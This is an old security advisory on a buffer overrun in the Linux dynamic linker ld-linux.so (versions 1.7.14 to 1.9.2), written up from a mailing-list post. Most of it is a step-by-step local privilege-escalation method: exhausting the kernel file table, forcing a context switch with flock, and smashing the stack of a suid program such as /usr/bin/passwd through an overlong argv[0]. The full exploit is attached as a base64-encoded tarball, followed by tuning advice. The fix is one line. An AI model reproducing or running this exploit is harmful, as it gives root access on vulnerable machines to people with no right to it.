COMMAND
ld-linux.so
SYSTEMS AFFECTED
Linux
PROBLEM
Rafal Wojtczuk posted following. Briefly, there exists a buffer
overrun in ld-linux.so versions 1.7.14, 1.8.2, 1.9.2 (others prior
to 1.9.2 probably too, not tested) . It occures in the procedure
which formats an error message. The said procedure puts into a
buffer argv[0], not checking its length. So, if we can force an
error during dynamic linking of a suid program, we can smash the
stack with argv[0] contents and gain extra priviledges.
To perform its job, dynamic linker must open a library file first.
Let's try to prevent it.
Scenario 1.
----------
Before execing a suid program, we can use up all file descriptors
available for a single process by simply opening any file 256-3
times (descriptors 0,1,2 are open anyway). But execve needs one
unused descriptor to work - execve will fail, not giving
ld-linux.so a chance to misbehave.
Scenario 2.
-----------
We may create a race condition, gambling on the number of free
file table entries. First, let's spawn 3 processes (called
eat_desc) which will use up 256 descriptors each and sleep. Then
we spawn simultaneosly another eat_desc and a program (called
spawn.c) which executes
execl("/usr/bin/passwd",long_argv0,0)
Of course we can utilize any other dynamically linked suid binary.
Assuming that file table has 1024 entries (default value) the
following scenario is possible: spawn.c executes /usr/bin/passwd.
Immediately afterwards, a context switch occures, and the fourth
eat_desc starts executing. It devours all remaining file table
entries and goes to sleep. Another context switch and
/usr/bin/passwd (formerly known as spawn.c) executes. Dynamic
linker cannot open /lib/libc.so.5 ( error: file table full), cooks
an error message, an overflows occures. Great. However, a standard
shellcode is of no use in this case: we can't exec anything (there
is still no file table entries free!). Instead of giving up after
first unsucesful exec, shellcode should first kill one of eat_desc
processes, and then in a loop infinitely try to execute the
program we wish to. This scenario is possible to accomplish. Yet,
it's ineffective. We can complicate it, assuring practically 100%
success ratio.
Scenario 3.
-----------
Let's try to force a context switch immediately after spawn.c
calls exec. spawn.c should open a file (called .lock) receiving
descriptor lock_fd and set a close-on-exec flag on it. Then
spawn.c executes flock(lock_fd,LOCK_EX). Another program (called
noloop) opens .lock and performs flock(noloop_fd,LOCK_EX) as well
(and goes to sleep). We also spawn a program called eat_time,
which simply does for(;;);, generating some load on the machine. A
great moment occures: spawn.c does
execl("/usr/bin/passwd",long_arg0,0)
As some load on the machine is imposed by eat_time, system call
exec (which is time-consuming) should use whole time quantum
available for spawn.c (now this process is passwd), so a context
switch is bound to happen. (If the attacked machine is extremely
fast, we may need to spawn more then one eat_time to achieve
this). Noloop starts excuting. Spawn.c closed the descriptor
lock_fd during exec it performed, so noloop can get out of flock
it was sleeping on ( but not before spawn.c did exec - that's the
trick). Now it's the time to devour all remaining file table
entries. When control returns to passwd (formerly known as
spawn.c), dynamic linker will generate an overflow. The rest
resembles Scenario 2. Some notes:
a) the whole scenario should be performed after we have used up
almost all file table entries. 3 eat_desc should be spawned
first, the fourth should devour all minus three entries.
b) when noloop decides to eat remaining file table entries, it
should first send SIGSTOP to passwd (formerly known as spawn.c)
Then it can eat, not fearing a context switch. Finally, it
sends SIGCONT to passwd.
c) some synchronizing between noloop and spawn.c is neccessary -
the latter should't exec /usr/bin/passwd before noloop has
slept on the flock call. In this exploit it is done using
signal SIGUSR1. Look at the code for details.
d) scenario 3 won't work for linker version 1.7.3, which at the
start does open("/dev/zero",O_RDONLY). It fails, but generated
error message doesn't contain argv[0], so no overflow this
time. Scenario 2 can work: context switch to the fourth
eat_desc should happen after open("/dev/zero",...) call.
Exploit follows. Probably it works best on an idle machine. More
precidely, during the exploit execution the number of free file
table entries should not be modified by any process other than
eat*, noloop, spawn. You may need to change some default
parameters, for instance the number of eat_time processes or
eat_desc (the latter if your kernel file table size is greater
then 1024 or the limit of file descriptors per process is less
than 256). If the exploit doesn't work, you may experiment with
DEFAULT_OFFSET in doit.sh
---
Content-Type: application/octet-stream; name="linker.tgz"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="linker.tgz"
Content-MD5: dRaiS52LdlFzR0YFUuoOig==
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
/wKPDgNeAFAAAA==
-----
SOLUTION
Latest version of linkers (that is at least 1.9.5) cannot be hurt.